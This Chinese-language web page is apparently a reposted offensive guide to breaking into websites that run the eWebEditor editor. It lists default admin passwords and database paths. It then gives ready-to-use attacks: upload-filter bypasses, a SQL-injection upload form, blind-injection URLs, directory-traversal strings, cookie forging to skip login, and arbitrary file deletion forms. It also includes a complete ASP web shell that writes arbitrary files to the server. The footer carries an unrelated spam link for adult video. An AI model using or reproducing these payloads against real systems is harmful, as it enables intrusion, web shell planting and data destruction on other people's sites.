萬維網絡是《大慶市房地產、裝修、婚慶行業協會》指定網站建設服務公司

ewebeditor漏洞利用總結


ewebeditor漏洞利用總結
     先從最基本的記錄起!通常入侵ewebeditor編輯器的步驟如下:
1、首先訪問默認管理頁看是否存在。
        默認管理頁地址2.80以前為 ewebeditor/admin_login.asp 以后版本為admin/login.asp (各種語言的大家自己改后綴,本文就以asp來進行說明,下面不再細說了!)
2、默認管理帳號密碼!
        默認管理頁存在!我們就用帳號密碼登陸!默認帳號密碼為: admin admin888 !常用的密碼還有admin admin999 admin1 admin000 之類的。
3、默認數據庫地址。
        如果密碼不是默認的。我們就訪問是不是默認數據庫!嘗試下載數據庫得到管理員密碼!管理員的帳號密碼,都在eWebEditor_System表段里,sys_UserName Sys_UserPass 都是md5加密的。得到了加密密碼?梢匀ww.cmd5.com www.xmd5.org 等網站進行查詢!暴力這活好久不干了!也可以丟國外一些可以跑密碼的網站去跑!
        默認數據庫路徑為: ewebeditor/db/ewebeditor.mdb 常用數據庫路徑為:ewebeditor/db/ewebeditor.asa ewebeditor/db/ewebeditor.asp ewebeditor/db/#ewebeditor.asa ewebeditor/db/#ewebeditor.mdb ewebeditor/db/!@#ewebeditor.asp ewebeditor/db/ewebeditor1033.mdb 等
        很多管理員常改.asp后綴,一般訪問.asp .asa 后綴的 都是亂碼!可以用下載工具下載下來,然后更改后綴為.mdb 來查看內容!
4、說說漏洞基本利用步驟,還以asp為例!
        登陸后臺以后。選擇樣式管理,默認編輯器的默認樣式都不可以修改的。我們可以從任意樣式新建一個樣式,然后在圖片上傳添加可上傳后綴。.asa .cer .cdx 等!.asp 過濾過了。但是我們可以用.asaspp 后綴來添加,這樣上傳文件正好被ewebeditor 吃掉asp后綴,剩下.asp 呵呵!代碼不詳細說了?傊莻很可笑的過濾!同樣,如果遇到一個管理員有安全意識的,從代碼里,把.asp .asa .cer .cdx 都完全禁止了,我們也可以用.asasaa 后綴來突破。添加完了后綴,可以在樣式管理,點擊預覽,然后上傳!
5、默認管理頁不存在!
        在實際入侵過程中,有很多默認的管理頁不存在的時候。我們可以直接訪問樣式管理頁面 ewebeditor/admin_style.asp 然后用第4步的方式拿********。如果樣式管理頁也不存在的話,我們可以看數據庫內的樣式表(ewebeditor_style)里面有沒有比我們先進去的朋友留下的樣式。然后構造上傳!具體url如下: eWebEditor/ewebeditor.asp?id=content&style=www 紅色部分是我們發現被修改添加了asa后綴的樣式名,大家自行修改!
6、ewebeditor的幾個版本存在注入!
        ewebeditor 以前版本都存在注入 ewebeditor/ewebeditor.asp?id=article_content&style=Full_v200 !
添加驗證字符串,和管理員字段可以跑出管理員的md5加密密碼!
       ewebeditor v2.1.6存在注入,可以用union select 添加上傳后綴進行上傳!先貼漏洞利用方式!
--------------------------------------------------------------------------------------------------------------
<H3>ewebeditor asp版 2.1.6 上傳漏洞利用程序----</H3><br><br>
<form action="http://www.xxx.com/ewebeditor/upload.asp?action=save&type=IMAGE&style=standard’union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]%2b’|cer’,S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl from ewebeditor_style where s_name=’standard’and’a’=’a" method=post name=myform enctype="multipart/form-data">
<input type=file name=uploadfile size=100><br><br>
<input type=submit value=Fuck>
</form>
--------------------------------------------------------------------------------------------------------------
        以上代碼令存為html!修改紅色部分的路徑,然后自動上傳 .cer 文件!漏洞原因是因為sStyleName變量直接從style中讀取,并沒有過濾,所以可以包含任意字符!用select在ewebeditor_style表中查找s_name為sStyleName的記錄,找不到就提示出錯!在sStyleName變量中用union來構造記錄,我們可以在sAllowExt中加入"|cer"、"|asa"等!
        另外還有一些版本的ewebeditor的upload.asp文件存在注入漏洞!貼幾個注入用的url!信息錯誤則返回腳本出錯的提示,在瀏覽器左下角!具體利用如下:
ewebeditor/Upload.asp?type=FILE&style=standard_coolblue1’and%20(select%20top%201%20asc(mid(sys_userpass,15,1))%20from%20ewebeditor_system%20)>98%20and%20’1’=’1 
注意修改紅色部分的字段名、位數、ascii碼的值!
7、目錄遍歷漏洞!
        這里大概說一下!目錄遍歷漏洞基本存在于ewebeditor/admin_uploadfile.asp 高版本的是ewebeditor/admin/upload.asp 文件!這個文件有的不需要登陸驗證,有些需要!很多有經驗的管理員會把編輯器的目錄設置為只讀權限,不可修改!這種情況下,唯一可以利用的也就是利用遍歷目錄功能查看網站文件,比如數據庫路徑、后臺地址、其他的上傳地址、最直觀的就是別人留下的小馬等等!這些都自由發揮了!說下漏洞利用方法!
        漏洞利用方式如下:在上傳文件管理頁面 隨便選擇一個上傳樣式!比如ewebeditor/admin_uploadfile.asp?id=14 在id后面添加&dir=../.. 
類似如下:webeditor/admin_uploadfile.asp?id=14&dir=../../../../data/ 可以看到網站數據庫的路徑!
       另外一個遍歷目錄的漏洞文件是 ewebeditor/asp/browse.asp
漏洞代碼為 :
Function GetList() 
Dim s_List, s_Url 
s_List = "" 
Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName 
’Response.Write sCurrDir 
’On Error Resume Next 
Set oFSO = Server.CreateObject("Scripting.FileSystemObject") 
Set oUploadFolder = oFSO.GetFolder(Server.MapPath(sCurrDir)) 
’注意一下sCurrDir變量,這個值等下我們可以用到 
If Err.Number>0 Then 
s_List = "" 
Exit Function 
End If
If sDir <> "" Then 
If InstrRev(sDir, "/") > 1 Then 
s_Url= Left(sDir, InstrRev(sDir, "/") - 1) 
Else 
s_Url = "" 
End If
s_List = s_List & "" & _ 
"" & _ 
".." & _ 
" " & _ 
"" 
End If 
’Response.Write sDir&"!"&s_List
Dim oSubFolder 
For Each oSubFolder In oUploadFolder.SubFolders 
’Response.Write oUploadFolder.SubFolders 
If sDir = "" Then 
s_Url = oSubFolder.Name 
Else 
s_Url = sDir & "/" & oSubFolder.Name 
End If 
s_List = s_List & "" & _ 
"" & _ 
"" & oSubFolder.Name & "" & _ 
" " & _ 
"" 
Next 
’Response.Write s_List
Set oUploadFiles = oUploadFolder.Files
For Each oUploadFile In oUploadFiles 
’Response.Write oUploadFile.Name 
sFileName = oUploadFile.Name 
If CheckValidExt(sFileName) = True Then 
’這行讓人有點郁悶,檢測了所有允許的文件后綴,如不允許就無法列出,不然就不只列出目錄名和圖片文件了 
If sDir = "" Then 
s_Url = sContentPath & sFileName 
Else 
s_Url = sContentPath & sDir & "/" & sFileName 
End If
s_List = s_List & "" & _ 
"" & FileName2Pic(sFileName) & "" & _ 
"" & sFileName & "" & _ 
"" & GetSizeUnit(oUploadFile.size) & "" & _ 
"" 
End If 
Next 
Set oUploadFolder = Nothing 
Set oUploadFiles = Nothing 
’Response.Write Server.HTMLEncode(s_List)&"!"&s_Url
If sDir = "" Then 
s_Url = "" 
’s_Url = "/" 
Else 
s_Url = "/" & sDir & "" 
’s_Url = "/" & sDir & "/" 
End If
s_List = s_List & "" 
s_List = HTML2JS(s_List) 
’Response.Write Server.HTMLEncode(s_List)&"!"&s_Url 
s_List = "parent.setDirList(""" & s_List & """, """ & s_Url & """)" 
GetList = s_List 
End Function 
’如果沒有下面這步檢測的話,應該就可以列出目錄中所有的文件了,有點郁悶..現在只能列出允許后綴的文件和目錄名 
Function CheckValidExt(s_FileName) 
If sAllowExt = "" Then 
CheckValidExt = True 
Exit Function 
End If
Dim i, aExt, sExt 
sExt = LCase(Mid(s_FileName, InStrRev(s_FileName, ".") + 1)) 
CheckValidExt = False 
aExt = Split(LCase(sAllowExt), "|") 
For i = 0 To UBound(aExt) 
If aExt(i) = sExt Then 
CheckValidExt = True 
Exit Function 
End If 
Next 
End Function 
’我們順著代碼往下找,發現sCurrDir的值是通過下面的值得到的 
Sub InitParam() 
sType = UCase(Trim(Request.QueryString("type"))) 
sStyleName = Trim(Request.QueryString("style"))
Dim i, aStyleConfig, bValidStyle 
bValidStyle = False 
For i = 1 To Ubound(aStyle) 
aStyleConfig = Split(aStyle(i), "|||") 
If Lcase(sStyleName) = Lcase(aStyleConfig(0)) Then 
bValidStyle = True 
Exit For 
End If 
Next
If bValidStyle = False Then 
OutScript("alert(’Invalid Style.’)") 
End If
sBaseUrl = aStyleConfig(19) 
’nAllowBrowse = CLng(aStyleConfig(43)) 
nAllowBrowse = 1
If nAllowBrowse <> 1 Then 
OutScript("alert(’Do not allow browse!’)") 
End If
sUploadDir = aStyleConfig(3) 
If Left(sUploadDir, 1) <> "/" Then 
Select Case sType 
Case "REMOTE" 
sUploadDir = "../../" & sUploadDir & "Image/" 
Case "FILE" 
sUploadDir = "../../" & sUploadDir & "Other/" 
Case "MEDIA" 
sUploadDir = "../../" & sUploadDir & "Media/" 
Case "FLASH" 
sUploadDir = "../../" & sUploadDir & "Flash/" 
Case Else 
sUploadDir = "../../" & sUploadDir & "Image/" 
End Select 
End If 
’sUploadDir =sUploadDir &"/"
Select Case sBaseUrl 
Case "0" 
’sContentPath = aStyleConfig(23) 
Select Case sType 
Case "REMOTE" 
sContentPath = "../" & aStyleConfig(3) & "Image/" 
Case "FILE" 
sContentPath = "../" & aStyleConfig(3) & "Other/" 
Case "MEDIA" 
sContentPath = "../" & aStyleConfig(3) & "Media/" 
Case "FLASH" 
sContentPath = "../" & aStyleConfig(3) & "Flash/" 
Case Else 
sContentPath = "../" & aStyleConfig(3) & "Image/" 
End Select 
Case "1" 
sContentPath = RelativePath2RootPath(sUploadDir) 
Case "2" 
sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir)) 
End Select
Select Case sType 
Case "REMOTE" 
sAllowExt = aStyleConfig(10) 
Case "FILE" 
sAllowExt = aStyleConfig(6) 
Case "MEDIA" 
sAllowExt = aStyleConfig(9) 
Case "FLASH" 
sAllowExt = aStyleConfig(7) 
Case Else 
sAllowExt = aStyleConfig(8) 
End Select
sCurrDir = sUploadDir ’注意這里,這個是得到了配置的路徑地址 
sDir = Trim(Request("dir")) ’得到dir變量 
sDir = Replace(sDir, "\", "/") ’對dir變量進行過濾 
sDir = Replace(sDir, "../", "") 
sDir = Replace(sDir, "./", "") 
If sDir <> "" Then 
If CheckValidDir(Server.Mappath(sUploadDir & sDir)) = True Then 
sCurrDir = sUploadDir & sDir & "/" 
’重點就在這里了,看到沒有,當sUploadDir & sDir存在的時候,sCurrDir就為sUploadDir & sDir的值了 
’雖然上面對sDir進行了過濾,不過我們完全可以跳過.具體利用下面的利用中給出 
Else 
sDir = "" 
End If 
End If
End Sub
利用方式如下:
http://site/ewebeditor/asp/browse.asp?style=standard650&dir=…././/…././/admin
這樣子就可以看到admin的內容了。構造特殊的dir繞過上面的驗證!頁面空白的時候查看源代碼,就可以看到目錄列表了! 
8、session欺騙漏洞!
        適用于一些設置不當的虛擬主機。當旁注得到一個********,而目標站存在ewebeditor卻不能找到密碼的時候可以嘗試欺騙進入后臺!順序如下: 
          新建一個.asp文件,內容如下: <%Session("eWebEditor_User") = "123132323"%> 然后訪問這個文件,再訪問ewebeditor/admin_default.asp !欺騙進入后臺!不過很老了!
9、 后臺跳過認證漏洞!
        訪問后臺登陸頁面!隨便輸入帳號密碼,返回錯誤!然后清空瀏覽器,在地址欄輸入
javascript:alert(document.cookie="adminuser="+escape("admin")); 
javascript:alert(document.cookie="adminpass="+escape("admin")); 
javascript:alert(document.cookie="admindj="+escape("1"));
         然后再清空地址欄,在路徑里輸入后臺登陸后的頁面,比如: admin_default.asp admin/default.asp 等。直接進入后臺,利用方式見上文!
10、利用遠程上傳功能!
        比如s_full樣式就存在這個功能,打開編輯頁面,然后圖片,選擇輸入url 比如:/lpz_editor/UploadFile/2010-6/23/201062301552172.gif.asp ! 然后選擇上傳遠程文件!自動就把1.gif.asp 保存在上傳目錄內!注:網上的東西大部分傳來傳去,這個辦法愚弄自己還成!文件的確顯示后綴為.asp 但是不能訪問,因為收集過來的時候自動截止在1.gif了所以后面的.asp等于沒有!而且gif的內容就是我們這個url的路徑!呵呵,后來又看到一個利用方式!是利用遠程搜集的時候執行,我們文件的代碼生成另外的小馬!
        利用代碼如下:
首先建立1.gif.asp 代碼如下
<%
Set fs = CreateObject("Scripting.FileSystemObject")
Set MyTextStream=fs.OpenTextFile(server.MapPath("\akteam.asp"),1,false,0)
Thetext=MyTextStream.ReadAll
response.write thetext
%>
在我們的1.gif.asp的同目錄下建立一個akteam.asp文件,內容就是我們的小馬:
<%on error resume next%>
<%ofso="scripting.filesystemobject"%>
<%set fso=server.createobject(ofso)%>
<%path=request("path")%>
<%if path<>"" then%>
<%data=request("dama")%>
<%set dama=fso.createtextfile(path,true)%>
<%dama.write data%>
<%if err=0 then%>
<%="success"%>
<%else%>
<%="false"%>
<%end if%>
<%err.clear%>
<%end if%>
<%dama.close%>
<%set dama=nothing%>
<%set fos=nothing%>
<%="<form action=’’ method=post>"%>
<%="<input type=text name=path>"%>
<%="<br>"%>
<%=server.mappath(request.servervariables("script_name"))%>
<%="<br>"%>
<%=""%>
<%="<textarea name=dama cols=50 rows=10 width=30></textarea>"%>
<%="<br>"%>
<%="<input type=submit value=save>"%>
<%="</form>"%>
利用上面說的遠程上傳的方式!可以得到********!成功率取決于,虛擬主機的安全設置!
11、任意文件刪除漏洞!
        此漏洞存在于Example\NewsSystem目錄下的delete.asp文件中,這是ewebeditor的測試頁面,無須登陸可以直接進入!看代碼
’ 把帶"|"的字符串轉為數組
Dim aSavePathFileName
aSavePathFileName = Split(sSavePathFileName, "|")
’ 刪除新聞相關的文件,從文件夾中
Dim i
For i = 0 To UBound(aSavePathFileName)
’ 按路徑文件名刪除文件
Call DoDelFile(aSavePathFileName(i))
Next
而aSavePathFileName是前面從數據庫取出來的:
sSavePathFileName = oRs("D_SavePathFileName")
看看D_SavePathFileName是怎么添加到數據庫里的,在addsave.asp(modifysave.asp)里:sSavePathFileName = GetSafeStr(Request.Form("d_savepathfilename"))
...
oRs("D_SavePathFileName") = sSavePathFileName
居然過濾了,是GetSafeStr函數,再看看這個函數,在Startup.asp里:
Function GetSafeStr(str)
GetSafeStr = Replace(Replace(Replace(Trim(str), "’", ""), Chr(34), ""), ";", "")
End Function
        既然路徑沒有過濾,那就可以直接定義了,構造一個提交頁面,其中d_savepathfilename自己任意賦值(要刪除多個文件,用|隔開即可)。試試../../eWebEditor.asp,提交后刪除該新聞,于是主目錄下的eWebEditor.asp不見了!漏洞利用:
<HTML><HEAD><TITLE>eWebEditor刪除文件 byldjun(>
新聞列表%20|%20增加新聞
增加新聞
http://127.0.0.1/editor/Example/NewsSystem/addsave.asp" 
method="post" name="myform">
    <input type=hidden name=d_originalfilename>
    <input type=hidden name=d_savefilename>
    <table cellspacing=3 align=center>
<tr><td>要刪的文件(相對路徑就可以了):</td>
<td><input type="text" name="d_savepathfilename" value="" size="90"></td>
</tr>
<tr><td>新聞標題(隨便填):</td>
<td><input type="text" name="d_title" value="" size="90"></td>
</tr>
<tr><td>標題圖片:</td>
<td><select name="d_picture" size=1><option value=’’>無</option></select>
當編輯區有插入圖片時,將自動填充此下拉框</td>
</tr>
<tr><td>新聞內容(隨便填):</td>
<td><textarea name="d_content"></textarea></td>
</tr>
</table>
<input type=submit name=btnSubmit value=" 提 交 "> 
<input type=reset name=btnReset value=" 重 填 ">
</form>
</BODY></HTML> 
刪除文件漏洞一般是配合其他漏洞使用的,比如目錄遍歷
<a href=’list.asp’>中的list.asp地址要修改
<a href=’add.asp’>中的add.asp地址要修改
<form action="http://127.0.0.1/editor/Example/NewsSystem/addsave.asp"
(http://127.0.0.1/editor/Example/NewsSystem/addsave.asp地址要修改)
        另外一個簡單利用方式:
<form action="http://www.xxxbing.com/editor/example/newssystem/addsave.asp" method="post">
<input type=hidden name=d_originalfilename value="x">
<input type=hidden name=d_savefilename value="x">
要刪除的文件(相對路徑,多個文件用“|”隔開)<br>
<input type=text name=d_savepathfilename>
<input type=hidden name="d_title" value="x">
<input type=hidden name="d_picture" value="x">
<textarea name="d_content">x</textarea>
<input type=submit name=btnSubmit value="submit">
</form>
然后得到返回的新聞ID再提交:http://www.XXXXX.com/editor/example/newssystem/delete.asp?id=[id]
        有幾個版本的ewebeditor 上傳類型是在 security.asp 文件控制的!直接刪除該文件可以上傳任意********! 
12、其他!
        其他說點什么呢!以上的辦法都是本人經驗和網上搜集!暫時就想到這些了,以后想到了再補全!說說aspx php jsp版本的利用吧!
ASPX版:
受影響文件:eWebEditorNet/upload.aspx
利用方法:添好本地的cer的Shell文件。在瀏覽器地址欄輸入javascript:lbtnUpload.click();就能得到shell。嘿嘿....繞過了限制......成功的上傳了ASPX文件....文件默認的上傳后保存的地址是eWebEditorNet/UploadFile/現在來看看是否上傳成功.....
PHP版本:PhP版本和asp版本利用方式類似!不過php權限較高,不多廢話了!
jsp版本:網上有很多jsp的版本,根本沒有對上傳文件類型進行檢測!需要注意的是jsp版本的沒有上傳按鈕!直接選擇文件,回車就可以提交了!
在線客服 在線客服 付款方式 郵箱 關閉 女性高爱潮有声视频A片